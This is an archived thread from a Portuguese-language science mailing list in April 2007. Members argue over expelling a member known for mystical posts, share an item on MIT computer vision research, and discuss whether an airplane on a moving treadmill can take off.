anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
recomendação" para outras listas que estejam dispostas a lerem suas
'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?


Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.


a woman with red dress pra vc
abç. ferrari








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SUBJECT: Cientistas criam computador capaz de enxergar como os seres humanos
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 20:40

Cientistas criam computador capaz de enxergar como os seres humanos

São Paulo - Pesquisadores do MIT desenvolveram uma máquina que se
aproxima com maior precisão do modelo humano de processamento visual.

Emular a forma como enxergamos é um dos maiores desafios para os
computadores. Mas os pesquisadores do Massachusetts Institute of
Technology (MIT), nos Estados Unidos, desenvolveram uma máquina que se
aproxima com maior precisão do modelo humano de processamento visual.

Antes, os cientistas trabalhavam com sistemas de referências que
ajudavam o computador a identificar uma determinada imagem por meio de
categorias (como animais ou flores, por exemplo) presentes nela. O
problema é que esta tecnologia não conseguia reproduzir a velocidade e
a sofisticação com que o cérebro humano processa uma imagem.

O novo sistema, desenvolvido no Instituto McGovern de Pesquisa
Cerebral, do MIT, no entanto, é baseado em informações anatômicas e
fisiológicas sobre o córtex visual e simula o que ocorre no cérebro
nos 100 milisegundos depois que vemos um objeto.

O resultado é um comportamento bastante similar à visão humana -
inclusive com as mesmas imperfeições -, segundo os cientistas
responsáveis pelo projeto.

O estudo suporta a teoria de que a categorização imediata acontece sem
amparo do sistema cognitivo ou outras áreas do cérebro. Seus
resultados permitirão avanços nas pesquisas de percepção da visão
humana, cognição e comportamento e poderão ainda contribuir para
pesquisas ligadas a doenças neurofisiológicas, como autismo e
esquizofrenia.

O modelo também pode ajudar a diminuir a distância entre os sistemas
de inteligência artificial e a neurociência, levando ao
desenvolvimento de sistemas artificiais de visão e próteses sensoriais.



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 23:46

Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
livre da realidade, diferente das mesmices dos livros didáticos impostos aos
nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar a
objetividade dos listeiros que interagem intensamente com ele e - como não
conseguem impor seus argumentos científicos - ficam reclamando que ele não
diz coisa com coisa, que a lista não tem mais ciência e outras desculpas que
sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
ser uma atitude nobre. Nem científica.
[]s
José Renato
.............................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 5:56 PM
Subject: [ciencialist] PEDIDO DE EXCLUSAO


Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de
anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
recomendação" para outras listas que estejam dispostas a lerem suas
'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?


Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.


a woman with red dress pra vc
abç. ferrari








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SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 00:09

Olá José Renato! Os listeiros estão tentando, todo o tempo, trazer a
discussão para o campo da ciência (por isso a constante interação), mas o
Ferrari insiste em uma visão, como em suas próprias palavras "livre da
realidade". Na verdade livre da ciência também. Acho que esta discussão pode
e deve continuar (e pode gerar muitos frutos, certamente) em algum outro
lugar mais apropriado. Não tem nada a ver com ser ou não nobre, mas sim com
ser ou não objetivo. É para isso que são criadas listas por tema:
objetividade.

[]s Ricardo





----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 11:46 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


> Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
> estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
> listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
> livre da realidade, diferente das mesmices dos livros didáticos impostos
> aos
> nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar
> a
> objetividade dos listeiros que interagem intensamente com ele e - como não
> conseguem impor seus argumentos científicos - ficam reclamando que ele não
> diz coisa com coisa, que a lista não tem mais ciência e outras desculpas
> que
> sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
> ser uma atitude nobre. Nem científica.
> []s
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 02, 2007 5:56 PM
> Subject: [ciencialist] PEDIDO DE EXCLUSAO
>
>
> Senhores do C-List,
>
> com base nas papagaiadas dessa mensagem (adicionada às dezenas de
> anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
> muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
> exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
> recomendação" para outras listas que estejam dispostas a lerem suas
> 'profundas manifestações filosóficas'.
>
> Já tenho até receio de falar em Ciência nessa lista!
>
> No aguardo,
>
> aquele abraço,
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> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
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> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: segunda-feira, 2 de abril de 2007 14:00
> Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?
>
>
> Olá Murilo Anderson!
>
> Murilo >>> Acho bom a gente ter cuidado, pq já
> brigamos antes e meu tempo é curto.
>
> --- Mr. Anderson, tá com pressa de chegar a onde?
> Hehehehe... Relaxa: qualquer lugar que vc chegar será
> apenas um lugar qualquer.
>
> Murilo >>> Eu posso sim decidir não exercitar minha
> dialética.
>
> --- Sim, isto é o que o Mr. Anderson pensa.
>
> Murilo >>> Há que existir um mínimo de base filosófica
> p/esse tipo de papo, vc sabe.
>
> --- Não é base filosofica, é consciencial.
>
> Murilo >>> "Livre arbítrio" existe sim, vc não poderá
> negar.
>
> --- Mr. Anderson, não estou dizendo que não existe o
> processo do livre-arbítrio. Sim, existe. O que estou
> dizendo é que não existe o processo do livre-arbítrio
> tal qual os espíritas, os católicos, e até mesmo os
> ateus o compreendem e definem. Ou seja, não existe
> livre-arbítrio na ação. O livre-arbítrio é um processo
> do espírito (consciencia) e não dá mente (cérebro).
>
> Murilo >>> A metáfora do Orlando se deve às diferenças
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>
> --- Hehehehehe... Já ouviu o termo "loucura
> controlada". Foi o carlos castanheda que invetou. Me
> sinto assim, controlado entre uma loucura e outra.
>
> --- Observe isto aqui: O dificil não é ser louco. Ser
> louco é fácil, é natural, o dificil é ser normal.
> Abrimos a mão e a pedra cai. Não é preciso esforço
> para ser natural, só é preciso esforço para ser
> cultural.
>
> Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
> está faltando em minha vida.
>
> --- Já tentou um acordo com a Agente Smith? O Cifer
> consegiu uma fazenda no Arizona que é uma beleza.
>
> Murilo >>> Que eternidade é esta que não tarda nem
> falha?
>
> --- Alguma vez vc já testemunhou uma dia que não
> trouxesse uma noite? Ou uma noite que não trouxesse um
> dia? Alguma vez vc já testemunhou uma hora que não
> tivesse 60 minutos? Um minuto que não tivesse 60
> seguntos, e assim por diante...
>
> --- Eis ai a eternidade que não tarda nem falha.
>
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SUBJECT: Em defesa do paradoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 00:14

Caríssimos e caríssimas,

Com tão pouco tempo para acompanhar a C-List fico feliz em ver que
desde que entrei aqui, na época do Big-Bang, quase nada mudou. :)

O Léo espanou a parafuseta da grampola com o Ferrari e sugere sua
exclusão. José Renato, o Ferrari II - A Missão, contesta e afirma que
isso deve-se ao fato de que ninguém consegue convencer o Ferrari sobre
as besteiras que ele diz...

Eu digo: e daí?

Se o propósito da C-List fosse o de ser uma "lista de referência
científica" teríamos que começar apagando umas 62.000 mensagens da
lista que tratam de discussões estapafúrdias sobre mecânica quântica,
relatividade geral e "duvidas bestas de consulentes", só para citar
alguns exemplos.

No Boteco (que é minha lista, e onde Léo e Ferrari convivem também) eu
comentei a mensagem do Ferrari dizendo que ele havia "fumado bosta de
vaca e bebido creolina no vaso sanitário". Tudo bem, ele entenderá que
isso é uma forma carinhosa de dizer o quanto eu acho que ele viajou, e
viaja, na maionese. Mas, convenhamos, que graça teria a vida e essas
listas do Yahoo se não houvesse aqui gente como o Ferrari e o José
Renato (dentre outros), sempre dispostos a defenderem absurdos em que
acreditam ou não?

Enfim, tenho aqui bons amigos e gente em quem confio quando tenho uma
dúvida e procuro boas respostas. Considero o Ferrari um bom amigo, um
poeta razoável e um maluco de carteirinha carimbada. Concordo que ele
seja expulso, mas desde que nessa lista, nunca mais, jamais, em
momento algum, seja postada uma mensagem que não passe antes por banca
revisora e que trate de assunto altamente específico da ciência, o
que, por si só, já exclui essa mensagem aqui.

Chega de moto-perpétuos, dúvidas de consulentes, mecânica quântica sem
equações e operadores, relatividade geral "interpretada", questões
frívolas sobre teorias bem estabelecidas, etc. Enfim, fechemos a
C-List e vamos para a biblioteca que é mais negócio.

Abraços,
JC




SUBJECT: Re: PEDIDO DE EXCLUSAO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 00:33

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Ferrari insiste em uma visão, como em suas próprias palavras "livre
> da realidade".

Ferrari é uma experiência de Desciclopédia 6.5.x

A versão beta da Desciclopédia pode ser lida em:

http://desciclo.pedia.ws/

Aqui uma visão wikipédica da Desciclo:

http://pt.wikipedia.org/wiki/Desciclop%C3%A9dia

[]s,

Roberto Takata



SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 01:50

Olá Jose Carlos

Em geral eu costumo concordar com você, praticamente em tudo. Mas
nesse caso acho que farei algumas observações a sua posição..:-)

Toda lista, sob pena de perder seu significado e função, tem limites.
Nem sempre são do mesmo tipo, ou se referem as mesmas questões, mas é
evidente que limites existem em qualquer caso. Por exemplo, quase toda
lista impede "flood", inundações de mensagens, e spams, mensagens de
propaganda.

Mas o que define um "flood" ou spam? Uma seqüencia de mensagens sem
sentido pode ser considerada "flood", mesmo que seu autor "pense" que
as mesmas tem sentido? E um spam de uma religião? Difere em alguma
medida de um spam de produto no mercado?

No caso específico da Ciencia-list, penso que não é a pretensão de ser
uma "lista de referencia", mas o desejo de ser um espaço para debater
um assunto específico, com uma abordagem específica - ciência e
cientificamente. Ninguém assina uma lista como esta sem ter em mente
esse desejo pessoal, conversar, de forma lógica, racional e coerente,
sobre ciência.

Imagine, para efeito de compreensão do problema, que você assine uma
lista sobre "Automóveis Antigos". E que durante as duas ou três
semanas em que recebe as primeiras mensagens, estas são apenas
discussões e bate bocas sobre a forma mais correta de cozinhar um
leitão. Quanto tempo levaria para você abandonar a lista?

Eu, como você, gosto muito desta lista, tenho aprendido um bocado, e
mesmo nas discussões em que lados opostos se confrontam, eu apreciei e
aprendi, pois a discussão sempre se manteve lógica, coerente e racional.

O que não tem acontecido neste caso com o Ferrari (e as vezes com
outros, por contaminação). Sim, diversos co-listeiros responderam as
mensagens do Ferrari, tentando, como bem lembrou o Ricardo, trazer a
conversa para o lado científico, de argumentos embasados, evidências,
coerência argumentativa, lógica, razão, etc. Sem sucesso.

Neste momento, eu receberia uma mensagem com coisas como "o que é
sucesso?", ou "o que é argumento?", ou ainda "lógica é deus, e deus é
lógica, mas não a lógica humana, limitada, mas uma lógica divina,
energética, transcedental, capaz de abranger a lógica do universo, e...".

Assim, fica difícil, impossível mesmo, continuar um debate minimamente
racional.

Na verdade, as mensagens do Ferrari acabam sendo "flood" apenas, uma
inundação de coisas sem sentido, como as frases que são geradas por
mecanismos automáticos de frases aleatórias. Aliás, não sei se não é
desses mecanismos que o Ferrari tira seus textos..:-)

Confesso que até acho divertido discutir, de vez em quando, motos
perpétuos, e até mesmo posições e alegações religiosas. O pessoal da
lista sabe como me empolgo, e como costumo até ser prolixo demais, dar
corda demais, a estes assuntos.

Mas só é produtivo um debate nessas áreas, se for possível manter a
razão no discurso. Sem isso, é aflitivo e completamente inútil. Mas,
"o que é inútil?", e "o que é razão", afinal, não?..:-)

Um grande abraço.

Homero




SUBJECT: Re: [ciencialist] Balanço do avião
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 03:10


Eu nao cheguei a acompanhar a discussao que me pareceu debandar para a
briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa ou nao,
independera da velocidade da correia, pois o que faz o aviao levantar voo é
a velocidade do ar sob suas asas que gerara a sustentacao no ar do veiculo.
Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
incongruencia com a situacao apresentada.

Abracos,

Adeilson Moreira Junior
----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 01, 2007 10:41 PM
Subject: [ciencialist] Balanço do avião


Será que numa próxima oportunidade, que voltar a discussão sobre o problema
do avião se deslocando sobre uma esteira, as pessoas vão pensar melhor a
questão ou vão continuar com as mesmas posições? No início havia confusão e
dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se convenceram
que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
opões e fechou-se aos argumentos que apresentei em relação a uma outra
opção, até que desistiu... E o problema se esvaiu sem maiores conclusões
firmadas.
Qual seria o balanço das opiniões afinal?

1. Voa sim, com o dobro da velocidade da correia.

2. Voa sim, qualquer que seja a velocidade da correia

3. Não voa, qualquer que seja a velocidade da correia.

4. Voa ou não, dependendo do ponto de referência para a medição da
velocidade do avião: voa quando é medida em relação ao solo; não voa quando
é medida em relação à correia.

5. Nenhuma das respostas acima. (Para quem escolher essa opção, parece-me
importante indicar qual seria sua resposta.)

Abraços

José Renato

[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 09:22

Hum, não gosto muito dessas coisas de "energia universal", "espírito
universal", etc. São idéias pré-científicas, forjadas na idade do bronze, no
tempo em que os seres humanos ofereciam sacrifícios a deuses tentando obter
vantagens e aplacar-lhes a ria. O desenvolvimento da ciência foi atrasado em
vários séculos por causa dessas bobagens.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <emailferrari@yahoo.com.br>
Sent: Monday, April 02, 2007 3:04 PM
Subject: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)


>A FORÇA QUE NUNCA SECA
> http://lampadadealadim.blogspot.com
>
> (sobre onipotência)
>
> <<< por isto uma força me leva a cantar / por isto
> esta força estranha no ar / por isto é que eu canto
> não posso parar >>> (Caetano Veloso)
>
> Embora não possamos tocar deus com as mãos, ou vê-lo
> com os olhos, ou escutá-lo com os ouvidos, ele nos é
> revelado através de sua constante manifestação e da
> nossa capacidade de percepção. Assim, podemos vê-lo
> iluminando um quarto escuro, senti-lo no calor do
> fogo, ouvi-lo numa musica. Som, luz, calor são alguns
> exemplos de como podemos constantemente detectar,
> decodificar e deduzir deus através da sua constante
> manifestação.
>
> A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.
>
> Já aconteceu de você estar no cinema e, de repente,
> acabar a energia? O que aconteceu com cada uma das
> formas cinematográficas que estavam se manifestando na
> tela? Todas desapareceram simultaneamente, não foi?
> Quando falta eletricidade num parque de diversões, o
> que acontece? Todos os brinquedos param
> simultaneamente, não é? Analogamente, a manifestação
> de deus é a força responsável por transformar
> (atualizar) todas as formas do conteúdo universal.
> Desligada a manifestação universal cessariam
> simultaneamente todas as formas e transformações
> (evolução). O universo seria apenas um conteúdo
> inerte, assim como um mar sem ondas ou um filme sem
> projeção. Popularmente chamamos a manifestação
> universal de energia. Sendo assim, cabe aqui e agora
> outra definição: o que é energia?
>
> ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
> UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
> ETERNIDADE. É O AMOR DE DEUS.
>
> Energia é a força que nunca seca. É o amor de deus, ou
> como diz a semantica cristã: é o sangue de cristo que
> é (constantemente) derramado por nós. Ou seja, energia
> universal é o que mantém funcionando o eterno processo
> de transformação das formas (evolução). É a força
> eterna que mantém os brinquedos (formas) do parque de
> diversões (cérebro de deus) em funcionamento
> constante.
>
> No principio era "o" verbo, diz a semantica cristã. O
> que isto significa? Significa que o amor de deus é "o"
> verbo, causa de todos os outros verbos. Ou seja, é a
> continua manifestação de deus que faz o universo se
> conjugar no presente contínuo. Pense nas quatro forças
> que a fisica teoriza: eletricidade, magnetismo, força
> fraca e forte. Como essas quatro forças poderiam
> existir sem a manifestação universal? Não poderiam. As
> quatro forças que a ciência teoriza é o amor de deus
> visto por quatro teorias diferentes.
>
> O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.
>
> Imagine que você é um açougueiro que precisa moer um
> quilo de carne de vaca, porém, como a tomada na parede
> do seu açougue é vegetariana, ela se recusa a lhe
> fornecer energia. Situação absurda, não é? Mas este
> exemplo serve para nos mostrar que a energia universal
> (amor de deus) tem uma característica fundamental:
>
> A ENERGIA UNIVERSAL É UMA FORÇA CEGA.
>
> Assim como a companhia elétrica fornece eletricidade
> independente do uso que o usuário irá fazer da
> eletricidade, assim o ser universal (deus) também
> fornece seu amor para todos os seres criarem e
> alimentarem o comportamento que bem entenderem. A
> energia universal é cega para o uso que os seres fazem
> dela. Ou seja, podemos usar a energia universal tanto
> para amar o próximo como para odiá-los. Podemos usar a
> energia universal tanto para criar espaçonaves como
> bombas atômicas. Podemos usar a energia universal
> tanto para tomar banho quente de chuveiro como para
> matar pessoas eletrocutadas.
>
> O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
> OBJETIVO.
>
>
> http://lampadadealadim.blogspot.com
>



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 09:27

Conheço o Marcelo Ferrari de outras listas, embora não me lembre exatamente
de quais. Não concordo com a exclusão dele de forma alguma. Ele é um
provocador, nada mais.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 11:46 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


> Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
> estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
> listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
> livre da realidade, diferente das mesmices dos livros didáticos impostos
> aos
> nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar
> a
> objetividade dos listeiros que interagem intensamente com ele e - como não
> conseguem impor seus argumentos científicos - ficam reclamando que ele não
> diz coisa com coisa, que a lista não tem mais ciência e outras desculpas
> que
> sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
> ser uma atitude nobre. Nem científica.
> []s
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 02, 2007 5:56 PM
> Subject: [ciencialist] PEDIDO DE EXCLUSAO
>
>
> Senhores do C-List,
>
> com base nas papagaiadas dessa mensagem (adicionada às dezenas de
> anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
> muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
> exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
> recomendação" para outras listas que estejam dispostas a lerem suas
> 'profundas manifestações filosóficas'.
>
> Já tenho até receio de falar em Ciência nessa lista!
>
> No aguardo,
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: segunda-feira, 2 de abril de 2007 14:00
> Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?
>
>
> Olá Murilo Anderson!
>
> Murilo >>> Acho bom a gente ter cuidado, pq já
> brigamos antes e meu tempo é curto.
>
> --- Mr. Anderson, tá com pressa de chegar a onde?
> Hehehehe... Relaxa: qualquer lugar que vc chegar será
> apenas um lugar qualquer.
>
> Murilo >>> Eu posso sim decidir não exercitar minha
> dialética.
>
> --- Sim, isto é o que o Mr. Anderson pensa.
>
> Murilo >>> Há que existir um mínimo de base filosófica
> p/esse tipo de papo, vc sabe.
>
> --- Não é base filosofica, é consciencial.
>
> Murilo >>> "Livre arbítrio" existe sim, vc não poderá
> negar.
>
> --- Mr. Anderson, não estou dizendo que não existe o
> processo do livre-arbítrio. Sim, existe. O que estou
> dizendo é que não existe o processo do livre-arbítrio
> tal qual os espíritas, os católicos, e até mesmo os
> ateus o compreendem e definem. Ou seja, não existe
> livre-arbítrio na ação. O livre-arbítrio é um processo
> do espírito (consciencia) e não dá mente (cérebro).
>
> Murilo >>> A metáfora do Orlando se deve às diferenças
> entre os mundos dos interlocutores.
>
> --- Hehehehehe... Já ouviu o termo "loucura
> controlada". Foi o carlos castanheda que invetou. Me
> sinto assim, controlado entre uma loucura e outra.
>
> --- Observe isto aqui: O dificil não é ser louco. Ser
> louco é fácil, é natural, o dificil é ser normal.
> Abrimos a mão e a pedra cai. Não é preciso esforço
> para ser natural, só é preciso esforço para ser
> cultural.
>
> Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
> está faltando em minha vida.
>
> --- Já tentou um acordo com a Agente Smith? O Cifer
> consegiu uma fazenda no Arizona que é uma beleza.
>
> Murilo >>> Que eternidade é esta que não tarda nem
> falha?
>
> --- Alguma vez vc já testemunhou uma dia que não
> trouxesse uma noite? Ou uma noite que não trouxesse um
> dia? Alguma vez vc já testemunhou uma hora que não
> tivesse 60 minutos? Um minuto que não tivesse 60
> seguntos, e assim por diante...
>
> --- Eis ai a eternidade que não tarda nem falha.
>
>
> a woman with red dress pra vc
> abç. ferrari
>
>



SUBJECT: Re: [ciencialist] Balanço do avião
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 10:12

Olá Adeilson,

a idéia é essencialmente essa. Para fixar a situação pense num túnel de vento. Lá está o 'modelo' de nosso avião suspenso na horizontal por três fios de linha e esses três fios terminam por fixar-se no prato de uma balança. Tudo equilibrado, começamos a aumentar a velocidade do vento contra o modelo. Numa dada velocidade já se pode sentir, pela leitura na balança, a diminuição do peso aparente (peso real - impulsão vertical determinada pelo vento). Numa outra dada velocidade a balança acusa peso aparente ZERO. O 'avião' voa.
Nessa fase, se vc adaptar uma fita horizontal para tocar nas rodinhas por baixo, poderá fazer as rodinhas girarem na velocidade (e sentido) que quiser, sem interferir no 'equilíbrio do avião'.
A energia de rotação adquirida pelas rodas terá sido transferida pelo trabalho das forças de atrito entre fita e roda; o atrito realiza trabalho motor. Todavia, em confronto com o peso do 'avião' essa força de atrito é desprezível e não afetará o número de Reynolds que se obtém dessa experimentação.
Para o avião levantar vôo só interessa sua velocidade em relação ao ar (e se o ar estiver 'parado', obviamente em relação à terra, solo, pista, o que dá tudo na mesma.).


[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 3 de abril de 2007 03:10
Assunto: Re: [ciencialist] Balanço do avião



Eu nao cheguei a acompanhar a discussao que me pareceu debandar para a
briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa ou nao,
independera da velocidade da correia, pois o que faz o aviao levantar voo é
a velocidade do ar sob suas asas que gerara a sustentacao no ar do veiculo.
Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
incongruencia com a situacao apresentada.

Abracos,

Adeilson Moreira Junior
----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 01, 2007 10:41 PM
Subject: [ciencialist] Balanço do avião


